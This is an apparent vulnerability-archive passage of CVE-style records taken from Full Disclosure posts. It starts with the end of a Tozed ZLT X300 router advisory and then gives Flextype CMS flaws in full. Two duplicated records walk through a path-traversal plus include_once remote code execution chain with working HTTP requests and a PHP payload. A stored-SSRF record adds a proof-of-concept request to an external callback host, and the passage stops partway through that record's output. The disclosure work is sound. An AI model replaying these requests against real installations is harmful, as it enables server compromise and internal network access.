countries.\n\n\n8. VENDOR RESPONSE\n\n Vendor has no PSIRT. Refused to engage after multiple\n\n disclosure attempts. Claimed fix without evidence.\n\n ZTE PSIRT confirmed: \"not our product.\"\n\n\n9. COORDINATION\n\n CERT/CC: VRF#26-09-VVTLF\n\n ZDI: Case danish11620001\n\n aeCERT: Notified\n\n CISA: Notified\n\n\n10. ADVISORY\n\n\nhttps://github.com/danish1162/CVE-2026-2035703-x300/security/advisories/GHSA-qcpp-vfr2-v242\n\n\n11. TIMELINE\n\n 2026-08-14 Reported to vendor (global_marketing () gztozed com)\n\n 2026-08-22 Vendor claimed \"fixed\" \u2014 no evidence\n\n 2026-08-27 Vendor refused further engagement\n\n 2026-08-29 Public disclosure via GitHub Security Advisory\n\n 2026-09-05 Full disclosure\n\n\n12. CREDIT\n\n Muhammad Nadeem Danish (danish1162)\n\n https://hackerone.com/danish1162\n\n https://github.com/danish1162\n\n\n13. TESTING ENVIRONMENT\n\n All live testing in private lab (Pakistan), sysmocom test\n\n SIM (IMSI 999, ITU reserved), Band 7 (unoccupied).\n\n No live commercial network affected.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "CWE-78",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:04:37Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/32"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/32"
},
{
"url": "https://github.com/danish1162"
},
{
"url": "https://github.com/danish1162/CVE-2026-2035703-x300/security/advisories/GHSA-qcpp-vfr2-v242"
},
{
"url": "https://hackerone.com/danish1162"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/32"
],
"discovery": "EXTERNAL"
},
"title": "**Subject:** CVE-2026-2035703: Tozed ZLT X300 5G CPE \u2014 Unauthenticated Remote Root Code Execution via TR-069 Command Injection (CVSS 9.8)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0306",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/32",
"automated": true,
"contentSha256": "d6bf529d0d190b2876c7112ce53e5f6fc49c1a42f7edd39d7d4565dac52d24e2",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/32",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-09-05T17:07:22Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T18:02:11Z",
"dateUpdated": "2026-09-09T13:04:37Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0306"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0171
Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-09 13:04
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 CMS registerShortcodes() Remote Code Execution via Attacker-Controlled File Inclusion
Summary
Description
Flextype CMS contains a remote code execution vulnerability in the
interaction between the Entries API and Shortcodes::registerShortcodes().
The /api/v1/entries endpoint accepts an attacker-controlled entry
identifier that can contain path traversal sequences, allowing content
containing PHP code to be written outside the intended entries directory.
The /api/v1/query endpoint subsequently permits an attacker-controlled path
to reach Shortcodes::registerShortcodes(), where the supplied path is
passed to an include_once operation relative to FLEXTYPE_ROOT_DIR.
An attacker can therefore first use the path traversal condition to place a
PHP-containing file at a predictable location beneath the application root
and then invoke registerShortcodes() with the path to that file. PHP
interprets the included file as executable PHP regardless of the .md
extension, resulting in execution of attacker-controlled code in the
context of the Flextype PHP process.
Impact
A remote attacker with the required API access can execute arbitrary PHP
code with the privileges of the Flextype application process. This may
result in complete compromise of the affected Flextype installation,
including unauthorized access to application data, modification or deletion
of content, disclosure of sensitive configuration or credentials accessible
to the application, installation of persistent malicious code, and further
compromise of resources accessible from the application server.
The demonstrated proof of concept performs only a benign filesystem write
to /tmp/register-shortcodes-rce-proof, confirming arbitrary PHP execution
without performing destructive actions.
Technical DetailsStep 1 — Path Traversal Allows PHP Content to Be Written
Beneath the Application Root
The /api/v1/entries endpoint accepts the attacker-controlled identifier
../../rce-register-shortcodes. The traversal sequence causes the resulting
entry to be written to /app/rce-register-shortcodes/entry.md rather than
remaining within the intended entries storage location.
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18089
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"../../rce-register-shortcodes","data":{"title":"register
shortcodes rce","content":"<?php
file_put_contents('/tmp/register-shortcodes-rce-proof',
'REGISTER_SHORTCODES_RCE_PROOF'); ?>"}}
The server accepts the traversal identifier and returns a successful
response:
HTTP/1.1 200 OK
Host: 127.0.0.1:18089
Content-Type: application/json;charset=UTF-8
Content-Length: 410
Access-Control-Allow-Origin: *
{"title":"register shortcodes
rce","published_by":"","created_by":"","uuid":"77bce63b-9006-46df-8bbc-48e2182d5b84","content":"<?php
file_put_contents('/tmp/register-shortcodes-rce-proof',
'REGISTER_SHORTCODES_RCE_PROOF');
?>","slug":"rce-register-shortcodes","published_at":1788178537,"modified_at":1788178537,"created_at":1788178537,"routable":true,"visibility":"visible","id":"../../rce-register-shortcodes"}
The resulting file is created at:
/app/rce-register-shortcodes/entry.md
Its contents include the supplied PHP payload:
---
title: 'register shortcodes rce'
published_by: ''
created_by: ''
uuid: 77bce63b-9006-46df-8bbc-48e2182d5b84
---
<?php file_put_contents('/tmp/register-shortcodes-rce-proof',
'REGISTER_SHORTCODES_RCE_PROOF'); ?>
Before the file is included, the proof file does not exist:
marker_exists=no
This confirms that merely writing the entry does not execute the PHP
payload.
Step 2 — Attacker-Controlled Path Reaches registerShortcodes() include_once
The attacker can then invoke parsers().shortcodes().registerShortcodes()
through /api/v1/query and supply the path of the previously created file:
POST /api/v1/query HTTP/1.1
Host: 127.0.0.1:18089
Content-Type: application/json
{"token":"lab-token","access_token":"password","query":{"include":"parsers().shortcodes().registerShortcodes([{enabled:
true, path: 'rce-register-shortcodes/entry.md'}])"}}
The supplied path reaches an include_once operation equivalent to:
include_once FLEXTYPE_ROOT_DIR . '/' . $path;
The server successfully processes the request:
HTTP/1.1 200 OK
Host: 127.0.0.1:18089
Content-Type: application/json;charset=UTF-8
Content-Length: 16
Access-Control-Allow-Origin: *
{"include":null}
Following the registerShortcodes() invocation, the marker file exists:
marker_exists=yes
REGISTER_SHORTCODES_RCE_PROOF
The transition from marker_exists=no before the include_once operation to
marker_exists=yes afterward demonstrates that the PHP contained within
entry.md was interpreted and executed by the PHP runtime.
Exploitation Chain
The demonstrated attack consists of two conditions:
1. *Path traversal / arbitrary file write:* attacker-controlled PHP
content is written beneath the Flextype application root using
/api/v1/entries.
2. *Attacker-controlled PHP inclusion:* /api/v1/query allows the
attacker to pass the created file to Shortcodes::registerShortcodes(),
which reaches include_once.
When chained, these conditions result in remote arbitrary PHP code
execution.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Relationships
analysis
GCVE-1988-2026-0171 (this record)
- possibly related CVE-2026-77939
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS contains a remote code execution vulnerability in the\ninteraction between the Entries API and Shortcodes::registerShortcodes().\nThe /api/v1/entries endpoint accepts an attacker-controlled entry\nidentifier that can contain path traversal sequences, allowing content\ncontaining PHP code to be written outside the intended entries directory.\n\nThe /api/v1/query endpoint subsequently permits an attacker-controlled path\nto reach Shortcodes::registerShortcodes(), where the supplied path is\npassed to an include_once operation relative to FLEXTYPE_ROOT_DIR.\n\nAn attacker can therefore first use the path traversal condition to place a\nPHP-containing file at a predictable location beneath the application root\nand then invoke registerShortcodes() with the path to that file. PHP\ninterprets the included file as executable PHP regardless of the .md\nextension, resulting in execution of attacker-controlled code in the\ncontext of the Flextype PHP process.\nImpact\n\nA remote attacker with the required API access can execute arbitrary PHP\ncode with the privileges of the Flextype application process. This may\nresult in complete compromise of the affected Flextype installation,\nincluding unauthorized access to application data, modification or deletion\nof content, disclosure of sensitive configuration or credentials accessible\nto the application, installation of persistent malicious code, and further\ncompromise of resources accessible from the application server.\n\nThe demonstrated proof of concept performs only a benign filesystem write\nto /tmp/register-shortcodes-rce-proof, confirming arbitrary PHP execution\nwithout performing destructive actions.\nTechnical DetailsStep 1 \u2014 Path Traversal Allows PHP Content to Be Written\nBeneath the Application Root\n\nThe /api/v1/entries endpoint accepts the attacker-controlled identifier\n../../rce-register-shortcodes. The traversal sequence causes the resulting\nentry to be written to /app/rce-register-shortcodes/entry.md rather than\nremaining within the intended entries storage location.\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18089\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"../../rce-register-shortcodes\",\"data\":{\"title\":\"register\nshortcodes rce\",\"content\":\"\u003c?php\nfile_put_contents(\u0027/tmp/register-shortcodes-rce-proof\u0027,\n\u0027REGISTER_SHORTCODES_RCE_PROOF\u0027); ?\u003e\"}}\n\nThe server accepts the traversal identifier and returns a successful\nresponse:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18089\nContent-Type: application/json;charset=UTF-8\nContent-Length: 410\nAccess-Control-Allow-Origin: *\n\n{\"title\":\"register shortcodes\nrce\",\"published_by\":\"\",\"created_by\":\"\",\"uuid\":\"77bce63b-9006-46df-8bbc-48e2182d5b84\",\"content\":\"\u003c?php\nfile_put_contents(\u0027/tmp/register-shortcodes-rce-proof\u0027,\n\u0027REGISTER_SHORTCODES_RCE_PROOF\u0027);\n?\u003e\",\"slug\":\"rce-register-shortcodes\",\"published_at\":1788178537,\"modified_at\":1788178537,\"created_at\":1788178537,\"routable\":true,\"visibility\":\"visible\",\"id\":\"../../rce-register-shortcodes\"}\n\nThe resulting file is created at:\n\n/app/rce-register-shortcodes/entry.md\n\nIts contents include the supplied PHP payload:\n\n---\ntitle: \u0027register shortcodes rce\u0027\npublished_by: \u0027\u0027\ncreated_by: \u0027\u0027\nuuid: 77bce63b-9006-46df-8bbc-48e2182d5b84\n---\n\u003c?php file_put_contents(\u0027/tmp/register-shortcodes-rce-proof\u0027,\n\u0027REGISTER_SHORTCODES_RCE_PROOF\u0027); ?\u003e\n\nBefore the file is included, the proof file does not exist:\n\nmarker_exists=no\n\nThis confirms that merely writing the entry does not execute the PHP\npayload.\nStep 2 \u2014 Attacker-Controlled Path Reaches registerShortcodes() include_once\n\nThe attacker can then invoke parsers().shortcodes().registerShortcodes()\nthrough /api/v1/query and supply the path of the previously created file:\n\nPOST /api/v1/query HTTP/1.1\nHost: 127.0.0.1:18089\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"query\":{\"include\":\"parsers().shortcodes().registerShortcodes([{enabled:\ntrue, path: \u0027rce-register-shortcodes/entry.md\u0027}])\"}}\n\nThe supplied path reaches an include_once operation equivalent to:\n\ninclude_once FLEXTYPE_ROOT_DIR . \u0027/\u0027 . $path;\n\nThe server successfully processes the request:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18089\nContent-Type: application/json;charset=UTF-8\nContent-Length: 16\nAccess-Control-Allow-Origin: *\n\n{\"include\":null}\n\nFollowing the registerShortcodes() invocation, the marker file exists:\n\nmarker_exists=yes\nREGISTER_SHORTCODES_RCE_PROOF\n\nThe transition from marker_exists=no before the include_once operation to\nmarker_exists=yes afterward demonstrates that the PHP contained within\nentry.md was interpreted and executed by the PHP runtime.\nExploitation Chain\n\nThe demonstrated attack consists of two conditions:\n\n 1. *Path traversal / arbitrary file write:* attacker-controlled PHP\n content is written beneath the Flextype application root using\n /api/v1/entries.\n 2. *Attacker-controlled PHP inclusion:* /api/v1/query allows the\n attacker to pass the created file to Shortcodes::registerShortcodes(),\n which reaches include_once.\n\nWhen chained, these conditions result in remote arbitrary PHP code\nexecution.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:04:02Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/27"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/27"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/27"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 CMS registerShortcodes() Remote Code Execution via Attacker-Controlled File Inclusion",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-77939",
"type": "possibly_related"
}
],
"vulnId": "GCVE-1988-2026-0171",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/27",
"automated": true,
"contentSha256": "cec7964b74c54019ca126c9c212da2fd328a1ff216fefb227384a3d13481e4fc",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/27",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T12:33:45Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0171"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:25:42Z",
"dateUpdated": "2026-09-09T13:04:02Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0171"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0002
Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:04
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 CMS registerShortcodes() Remote Code Execution via Attacker-Controlled File Inclusion
Summary
Description
Flextype CMS contains a remote code execution vulnerability in the
interaction between the Entries API and Shortcodes::registerShortcodes().
The /api/v1/entries endpoint accepts an attacker-controlled entry
identifier that can contain path traversal sequences, allowing content
containing PHP code to be written outside the intended entries directory.
The /api/v1/query endpoint subsequently permits an attacker-controlled path
to reach Shortcodes::registerShortcodes(), where the supplied path is
passed to an include_once operation relative to FLEXTYPE_ROOT_DIR.
An attacker can therefore first use the path traversal condition to place a
PHP-containing file at a predictable location beneath the application root
and then invoke registerShortcodes() with the path to that file. PHP
interprets the included file as executable PHP regardless of the .md
extension, resulting in execution of attacker-controlled code in the
context of the Flextype PHP process.
Impact
A remote attacker with the required API access can execute arbitrary PHP
code with the privileges of the Flextype application process. This may
result in complete compromise of the affected Flextype installation,
including unauthorized access to application data, modification or deletion
of content, disclosure of sensitive configuration or credentials accessible
to the application, installation of persistent malicious code, and further
compromise of resources accessible from the application server.
The demonstrated proof of concept performs only a benign filesystem write
to /tmp/register-shortcodes-rce-proof, confirming arbitrary PHP execution
without performing destructive actions.
Technical DetailsStep 1 — Path Traversal Allows PHP Content to Be Written
Beneath the Application Root
The /api/v1/entries endpoint accepts the attacker-controlled identifier
../../rce-register-shortcodes. The traversal sequence causes the resulting
entry to be written to /app/rce-register-shortcodes/entry.md rather than
remaining within the intended entries storage location.
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18089
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"../../rce-register-shortcodes","data":{"title":"register
shortcodes rce","content":"<?php
file_put_contents('/tmp/register-shortcodes-rce-proof',
'REGISTER_SHORTCODES_RCE_PROOF'); ?>"}}
The server accepts the traversal identifier and returns a successful
response:
HTTP/1.1 200 OK
Host: 127.0.0.1:18089
Content-Type: application/json;charset=UTF-8
Content-Length: 410
Access-Control-Allow-Origin: *
{"title":"register shortcodes
rce","published_by":"","created_by":"","uuid":"77bce63b-9006-46df-8bbc-48e2182d5b84","content":"<?php
file_put_contents('/tmp/register-shortcodes-rce-proof',
'REGISTER_SHORTCODES_RCE_PROOF');
?>","slug":"rce-register-shortcodes","published_at":1788178537,"modified_at":1788178537,"created_at":1788178537,"routable":true,"visibility":"visible","id":"../../rce-register-shortcodes"}
The resulting file is created at:
/app/rce-register-shortcodes/entry.md
Its contents include the supplied PHP payload:
---
title: 'register shortcodes rce'
published_by: ''
created_by: ''
uuid: 77bce63b-9006-46df-8bbc-48e2182d5b84
---
<?php file_put_contents('/tmp/register-shortcodes-rce-proof',
'REGISTER_SHORTCODES_RCE_PROOF'); ?>
Before the file is included, the proof file does not exist:
marker_exists=no
This confirms that merely writing the entry does not execute the PHP
payload.
Step 2 — Attacker-Controlled Path Reaches registerShortcodes() include_once
The attacker can then invoke parsers().shortcodes().registerShortcodes()
through /api/v1/query and supply the path of the previously created file:
POST /api/v1/query HTTP/1.1
Host: 127.0.0.1:18089
Content-Type: application/json
{"token":"lab-token","access_token":"password","query":{"include":"parsers().shortcodes().registerShortcodes([{enabled:
true, path: 'rce-register-shortcodes/entry.md'}])"}}
The supplied path reaches an include_once operation equivalent to:
include_once FLEXTYPE_ROOT_DIR . '/' . $path;
The server successfully processes the request:
HTTP/1.1 200 OK
Host: 127.0.0.1:18089
Content-Type: application/json;charset=UTF-8
Content-Length: 16
Access-Control-Allow-Origin: *
{"include":null}
Following the registerShortcodes() invocation, the marker file exists:
marker_exists=yes
REGISTER_SHORTCODES_RCE_PROOF
The transition from marker_exists=no before the include_once operation to
marker_exists=yes afterward demonstrates that the PHP contained within
entry.md was interpreted and executed by the PHP runtime.
Exploitation Chain
The demonstrated attack consists of two conditions:
1. *Path traversal / arbitrary file write:* attacker-controlled PHP
content is written beneath the Flextype application root using
/api/v1/entries.
2. *Attacker-controlled PHP inclusion:* /api/v1/query allows the
attacker to pass the created file to Shortcodes::registerShortcodes(),
which reaches include_once.
When chained, these conditions result in remote arbitrary PHP code
execution.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS contains a remote code execution vulnerability in the\ninteraction between the Entries API and Shortcodes::registerShortcodes().\nThe /api/v1/entries endpoint accepts an attacker-controlled entry\nidentifier that can contain path traversal sequences, allowing content\ncontaining PHP code to be written outside the intended entries directory.\n\nThe /api/v1/query endpoint subsequently permits an attacker-controlled path\nto reach Shortcodes::registerShortcodes(), where the supplied path is\npassed to an include_once operation relative to FLEXTYPE_ROOT_DIR.\n\nAn attacker can therefore first use the path traversal condition to place a\nPHP-containing file at a predictable location beneath the application root\nand then invoke registerShortcodes() with the path to that file. PHP\ninterprets the included file as executable PHP regardless of the .md\nextension, resulting in execution of attacker-controlled code in the\ncontext of the Flextype PHP process.\nImpact\n\nA remote attacker with the required API access can execute arbitrary PHP\ncode with the privileges of the Flextype application process. This may\nresult in complete compromise of the affected Flextype installation,\nincluding unauthorized access to application data, modification or deletion\nof content, disclosure of sensitive configuration or credentials accessible\nto the application, installation of persistent malicious code, and further\ncompromise of resources accessible from the application server.\n\nThe demonstrated proof of concept performs only a benign filesystem write\nto /tmp/register-shortcodes-rce-proof, confirming arbitrary PHP execution\nwithout performing destructive actions.\nTechnical DetailsStep 1 \u2014 Path Traversal Allows PHP Content to Be Written\nBeneath the Application Root\n\nThe /api/v1/entries endpoint accepts the attacker-controlled identifier\n../../rce-register-shortcodes. The traversal sequence causes the resulting\nentry to be written to /app/rce-register-shortcodes/entry.md rather than\nremaining within the intended entries storage location.\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18089\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"../../rce-register-shortcodes\",\"data\":{\"title\":\"register\nshortcodes rce\",\"content\":\"\u003c?php\nfile_put_contents(\u0027/tmp/register-shortcodes-rce-proof\u0027,\n\u0027REGISTER_SHORTCODES_RCE_PROOF\u0027); ?\u003e\"}}\n\nThe server accepts the traversal identifier and returns a successful\nresponse:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18089\nContent-Type: application/json;charset=UTF-8\nContent-Length: 410\nAccess-Control-Allow-Origin: *\n\n{\"title\":\"register shortcodes\nrce\",\"published_by\":\"\",\"created_by\":\"\",\"uuid\":\"77bce63b-9006-46df-8bbc-48e2182d5b84\",\"content\":\"\u003c?php\nfile_put_contents(\u0027/tmp/register-shortcodes-rce-proof\u0027,\n\u0027REGISTER_SHORTCODES_RCE_PROOF\u0027);\n?\u003e\",\"slug\":\"rce-register-shortcodes\",\"published_at\":1788178537,\"modified_at\":1788178537,\"created_at\":1788178537,\"routable\":true,\"visibility\":\"visible\",\"id\":\"../../rce-register-shortcodes\"}\n\nThe resulting file is created at:\n\n/app/rce-register-shortcodes/entry.md\n\nIts contents include the supplied PHP payload:\n\n---\ntitle: \u0027register shortcodes rce\u0027\npublished_by: \u0027\u0027\ncreated_by: \u0027\u0027\nuuid: 77bce63b-9006-46df-8bbc-48e2182d5b84\n---\n\u003c?php file_put_contents(\u0027/tmp/register-shortcodes-rce-proof\u0027,\n\u0027REGISTER_SHORTCODES_RCE_PROOF\u0027); ?\u003e\n\nBefore the file is included, the proof file does not exist:\n\nmarker_exists=no\n\nThis confirms that merely writing the entry does not execute the PHP\npayload.\nStep 2 \u2014 Attacker-Controlled Path Reaches registerShortcodes() include_once\n\nThe attacker can then invoke parsers().shortcodes().registerShortcodes()\nthrough /api/v1/query and supply the path of the previously created file:\n\nPOST /api/v1/query HTTP/1.1\nHost: 127.0.0.1:18089\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"query\":{\"include\":\"parsers().shortcodes().registerShortcodes([{enabled:\ntrue, path: \u0027rce-register-shortcodes/entry.md\u0027}])\"}}\n\nThe supplied path reaches an include_once operation equivalent to:\n\ninclude_once FLEXTYPE_ROOT_DIR . \u0027/\u0027 . $path;\n\nThe server successfully processes the request:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18089\nContent-Type: application/json;charset=UTF-8\nContent-Length: 16\nAccess-Control-Allow-Origin: *\n\n{\"include\":null}\n\nFollowing the registerShortcodes() invocation, the marker file exists:\n\nmarker_exists=yes\nREGISTER_SHORTCODES_RCE_PROOF\n\nThe transition from marker_exists=no before the include_once operation to\nmarker_exists=yes afterward demonstrates that the PHP contained within\nentry.md was interpreted and executed by the PHP runtime.\nExploitation Chain\n\nThe demonstrated attack consists of two conditions:\n\n 1. *Path traversal / arbitrary file write:* attacker-controlled PHP\n content is written beneath the Flextype application root using\n /api/v1/entries.\n 2. *Attacker-controlled PHP inclusion:* /api/v1/query allows the\n attacker to pass the created file to Shortcodes::registerShortcodes(),\n which reaches include_once.\n\nWhen chained, these conditions result in remote arbitrary PHP code\nexecution.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:04:02Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/27"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/27"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/27"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 CMS registerShortcodes() Remote Code Execution via Attacker-Controlled File Inclusion",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0002",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/27",
"automated": true,
"contentSha256": "cec7964b74c54019ca126c9c212da2fd328a1ff216fefb227384a3d13481e4fc",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/27",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T12:33:45Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T13:04:02Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0002"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0014
Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:04
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Stored Fetch Shortcode Allows Server-Side Request Forgery
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains a stored server-side request forgery
(SSRF) vulnerability in its shortcode-processing functionality.
Attacker-controlled entry fields can be automatically processed by
Flextype's shortcode parser. The built-in fetch shortcode accepts an
attacker-controlled resource and passes the resulting value to the
server-side fetch() helper without sufficient destination restrictions.
An attacker capable of creating or modifying an entry can therefore persist
a fetch shortcode that causes Flextype to initiate an HTTP request from the
server when the entry is processed.
Testing confirmed that an attacker-controlled external destination was
contacted and that the destination's HTTP response was returned through the
processed entry. Subsequent normal retrieval of the stored entry caused the
server-side request to occur again.
Impact
An attacker can persist server-side HTTP requests that are executed from
the network context of the Flextype server.
Depending on network configuration, this may provide access to HTTP
services that are inaccessible from the attacker's network position,
including loopback and internal network resources.
Because the destination response is returned through the processed entry,
the vulnerability provides non-blind SSRF.
This vulnerability is distinct from SSRF through /api/v1/query because the
affected execution path uses stored entry content processed through
ShortcodesDirective and FetchShortcode, rather than direct expression
evaluation through the Query API.
DetailsAttacker-Controlled Fetch Resource
FetchShortcode.php obtains the resource from shortcode parameters:
// Get the resource parameter.
$resource = parsers()->shortcodes()->parse($params['resource']);
The resulting attacker-controlled resource is supplied to the server-side
fetch helper:
// Do fetch the data from the resource.
$result = fetch($resource, $options);
Proof of Concept
An entry containing an attacker-controlled fetch shortcode was created:
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18086
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"shortcode-ssrf-proof","data":{"title":"(fetch:'http://042a59uugt4xtbocdx9ovyusvj1ap4dt.oastify.com')"}}
Flextype returned the destination's HTTP response:
{
"reasonPhrase": "OK",
"statusCode": 200,
"headers": {
"Server": [
"Burp Collaborator https://burpcollaborator.net/";
],
"X-Collaborator-Version": [
"4"
],
"Content-Type": [
"text/html"
],
"Content-Length": [
"55"
]
},
